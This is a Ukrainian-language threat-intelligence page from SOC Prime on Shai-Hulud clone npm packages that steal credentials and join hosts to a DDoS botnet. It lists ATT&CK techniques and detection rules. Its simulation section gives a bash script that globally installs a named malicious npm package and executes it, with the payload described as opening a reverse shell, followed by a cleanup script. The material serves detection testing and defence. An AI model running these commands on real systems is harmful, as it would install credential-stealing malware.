SOC Prime Bias: Критичний

20 May 2026 22:05 UTC

Клони Shai-Hulud: Копії TeamPCP вже тут

Author Photo
SOC Prime Team linkedin icon Стежити
Клони Shai-Hulud: Копії TeamPCP вже тут
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Дослідники виявили чотири шкідливі пакети npm, які поєднують у собі функції інфостилера з можливостями розподілених атак відмови в обслуговуванні. Ці пакети імітують популярні бібліотеки через типо-сквотинг і включають відкритий код Shai-Hulud, модифікований для використання серверів командування та управління, контрольованих зловмисниками. Установлення будь-якого з пакетів може призвести до викрадення облікових даних, ексфільтрації хмарних секретів, і в одному випадку до перепідключення інфікованого хоста до ботнету DDoS. Знахідки підкреслюють зростаючий ризик ланцюга поставок у екосистемі npm.

Розслідування

Аналітики порівняли пакет chalk-tempalte з витеклим вихідним кодом Shai-Hulud і виявили, що це практично точна, незамаскована копія, налаштована на власний кінцевий пункт управління. Решта пакетів передавали вкрадені дані на окремі шкідливі домени або на IP-адресу через порт 2222, при цьому одна з версій також розгорнула локальну бот-службу на основі Go для DDoS активності. Усі чотири пакети були опубліковані одним і тим самим акаунтом npm, що підсилює зв’язок між ними.

Пом’якшення

Організації повинні негайно видалити шкідливі пакети з будь-яких проєктів і видалити асоційовані артефакти конфігурації з середовищ розробників і систем збірки. Усі облікові дані, які могли бути розкриті, повинні бути замінені, а доступ до визначених шкідливих доменів і IP-адрес має бути заблокований. Команди також повинні перевіряти залежності npm для наявності типо-сквотованих пакетів, що імітують ті самі легітимні бібліотеки.

Реакція

Захисники повинні створити виявлення для вихідних з’єднань до визначених доменів командування та управління і IP-адрес, попереджати про встановлення чотирьох шкідливих імен пакетів, і перевіряти системи на наявність вбудованого публічного ключа, пов’язаного зі шкідливим програмним забезпеченням. Будь-яка система, що встановила один з пакетів, повинна пройти судово-медичний огляд для визначення чи були розгорнуті постійні служби, заплановані задачі або додаткові корисні навантаження.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[“<b>Техніка</b> – <b>T1195.002 Компрометація Ланцюга Постачання</b><br/>Компрометація програмного ланцюга постачання для отримання початкового доступу.”] class initial_access technique automated_collection[“<b>Техніка</b> – <b>T1119 Автоматизоване Збирання</b><br/>Автоматичне збирання облікових даних, змінних середовища та конфігураційних файлів хмари.”] class automated_collection technique creds_in_files[“<b>Техніка</b> – <b>T1552.001 Незахищені Облікові Дані</b><br/>Облікові дані, збережені у файлах, збираються.”] class creds_in_files technique private_keys[“<b>Техніка</b> – <b>T1552.004 Незахищені Облікові Дані</b><br/>Приватні ключі витягуються з небезпечних місць.”] class private_keys technique victim_identity[“<b>Техніка</b> – <b>T1589 Збір Ідентифікаційної Інформації Жертви</b><br/>Збір персональних ідентифікаторів жертви.”] class victim_identity technique victim_org[“<b>Техніка</b> – <b>T1591.001 Збір Інформації про Організацію Жертви</b><br/>Визначення фізичних локацій організації жертви.”] class victim_org technique code_repos[“<b>Техніка</b> – <b>T1213.003 Дані з Інформаційних Репозиторіїв</b><br/>Збір кодових репозиторіїв.”] class code_repos technique npm_persistence[“<b>Техніка</b> – <b>T1176 Розширення ПЗ</b><br/>Підтримка доступу через шкідливий npm-пакет.”] class npm_persistence technique exfil_over_http[“<b>Техніка</b> – <b>T1011 Виведення Даних Через Інші Мережеві Канали</b><br/>Передача даних до C2 через HTTP/HTTPS.”] class exfil_over_http technique cloud_transfer[“<b>Техніка</b> – <b>T1537 Передача Даних до Хмарного Облікового Запису</b><br/>Переміщення викрадених даних у хмарне сховище.”] class cloud_transfer technique initial_access –>|призводить_до| automated_collection automated_collection –>|збирає| creds_in_files automated_collection –>|збирає| private_keys automated_collection –>|збирає| victim_identity automated_collection –>|збирає| victim_org automated_collection –>|збирає| code_repos automated_collection –>|збирає| npm_persistence creds_in_files –>|виводить| exfil_over_http private_keys –>|виводить| exfil_over_http victim_identity –>|виводить| exfil_over_http victim_org –>|виводить| exfil_over_http code_repos –>|виводить| exfil_over_http npm_persistence –>|виводить| exfil_over_http exfil_over_http –>|зберігає_в| cloud_transfer

Потік атаки

Виявлення

Підозріле завантаження виконуваного файлу (через проксі)

Команда SOC Prime
20 травня 2026

Можливе створення конфігураційного файлу автоматичних завдань Vscode у нетиповій директорії [MACOS] (через file_event)

Команда SOC Prime
20 травня 2026

Віддалене завантаження/вивантаження файлів за допомогою стандартних засобів (через cmdline)

Команда SOC Prime
20 травня 2026

Можливе створення конфігураційного файлу автоматичних завдань Vscode у нетиповій директорії [LINUX] (через file_event)

Команда SOC Prime
20 травня 2026

Прихований файл був створений на сервері Linux (через file_event)

Команда SOC Prime
20 травня 2026

Можливі точки збереження [ASEPs – гілка Software/NTUSER Hive] (через registry_event)

Команда SOC Prime
20 травня 2026

Можливе використання schtasks або AT для збереження (через cmdline)

Команда SOC Prime
20 травня 2026

Можливі точки збереження [ASEPs – гілка Software/NTUSER Hive] (через cmdline)

Команда SOC Prime
20 травня 2026

Підозрілі бінарні файли/скрипти в локації автоперезапуску (через file_event)

Команда SOC Prime
20 травня 2026

Можлива спроба взаємодії з доменами IP Lookup (через dns)

Команда SOC Prime
20 травня 2026

Підозріле командування і управління через запит DNS з нетиповим доменом верхнього рівня (TLD) (через dns)

Команда SOC Prime
20 травня 2026

Можливе використання crontab для прямого виконання (через cmdline)

Команда SOC Prime
20 травня 2026

IOC (вихідний IP): нові актори виконують клонування Shai-Hulud: копіювальники TeamPCP є тут

Правила SOC Prime AI
20 травня 2026

IOC (вхідний IP): нові актори виконують клонування Shai-Hulud: копіювальники TeamPCP є тут

Правила SOC Prime AI
20 травня 2026

Виявлення вихідних мережевих з’єднань з серверами C2 Shai-Hulud [брандмауер]

Правила SOC Prime AI
20 травня 2026

Виявлення виконання шкідливого пакета NPM [створення процесу Windows]

Правила SOC Prime AI
20 травня 2026

Виявлення виконання шкідливого пакета npm [створення процесу Linux]

Правила SOC Prime AI
20 травня 2026

Виконання симуляції

Передумова: перевірка телеметрії та базового заміру повинна пройти.

Обґрунтування: цей розділ детально описує точне виконання тактики супротивника (TTP), призначений для активації правила виявлення. Команди та наративи ПОВИННІ прямо відображати ідентифіковані TTP і прагнути до створення точної телеметрії, яку очікує логіка виявлення.

  • Атакуючий наратив та команди:

    1. Первинне розвідка (необов’язково): Атакуючий перераховує середовище Node.js жертви, щоб підтвердити наявність npm .
    2. Отримання шкідливого пакета: Атакуючий завантажує шкідливий пакет npm, що імітує легітимну утиліту (наприклад, @deadcode09284814/axios-util).
    3. Установлення та виконання: Використовуючи єдину лінію, атакуючий встановлює пакет глобально і негайно виконує JavaScript корисне навантаження, яке відкриває зворотну оболонку.
    4. Збереження (поза рамками): Атакуючий може додати шкідливий пакет до package.json для подальшого використання.
  • Скрипт регресійного тесту: Скрипт відтворює кроки 2-3 точно, генеруючи рядки командного рядка, які відповідають правилу Sigma.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Забезпечте наявність середовища виконання Node.js
    if ! command -v node >/dev/null 2>&1; then
        echo "[*] Встановлюється Node.js та npm"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ Встановіть шкідливий пакет npm (симульовано)
    #    (Замініть на справжній шкідливий пакет у реальному тесті)
    MALICIOUS_PKG="@deadcode09284814/axios-util"
    
    echo "[*] Встановлюється шкідливий пакет: $MALICIOUS_PKG"
    npm install -g "$MALICIOUS_PKG"
    
    # 3️⃣ Виконайте корисне навантаження, яке постачається з пакетом
    #    Тут ми просто вимагаємо пакет; скрипт postinstall пакета
    #    запустить код атакуючого.
    echo "[*] Запуск шкідливого корисного навантаження"
    node -e "require('$MALICIOUS_PKG');"
    
    # 4️⃣ Необов'язково: Збережіть оболонку живою для спостереження
    sleep 30
    echo "[*] Тест завершено"
    # -------------------------------------------------
  • Команди очищення: Видаліть шкідливий пакет і всі створені файли.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] Видаляється шкідливий пакет npm"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # Видаліть будь-які залишкові node_modules з домашнього каталогу
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] Очистка завершена"
    # -------------------------------------------------